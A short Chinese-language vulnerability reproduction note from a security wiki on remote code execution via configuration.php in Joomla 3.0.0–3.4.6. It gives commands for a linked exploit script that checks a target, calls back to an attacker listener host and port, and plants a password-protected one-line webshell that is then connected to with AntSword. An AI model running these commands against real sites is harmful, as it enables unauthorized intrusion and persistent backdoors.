Joomla 3.4.6 - 'configuration.php' 远程代码执行

一、漏洞简介

Joomla 3.4.6 - 'configuration.php' Remote Code Execution

二、影响范围

Joomla 3.0.0 至 3.4.6

三、复现过程

https://github.com/ianxtianxt/Joomla-3.4.6---configuration.php-Remote-Code-Execution

脚本验证

验证:

python3 test.py -t http://127.0.0.1:8080/

image

显示“Vulnerable”证明存在漏洞

利用:

python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121

image

执行成功

并在“configuration.php”写入随机密码的一句话木马 image 上图的密码为:kyevgbxjmwivdvegohfzwuukuzswxqquthlrsollpxzgiifumi

蚁剑链接测试

image

零组资料文库 all right reserved,powered by 0-sec.org未经授权禁止转载 2019-11-05 01:28:52

results matching ""

    No results matching ""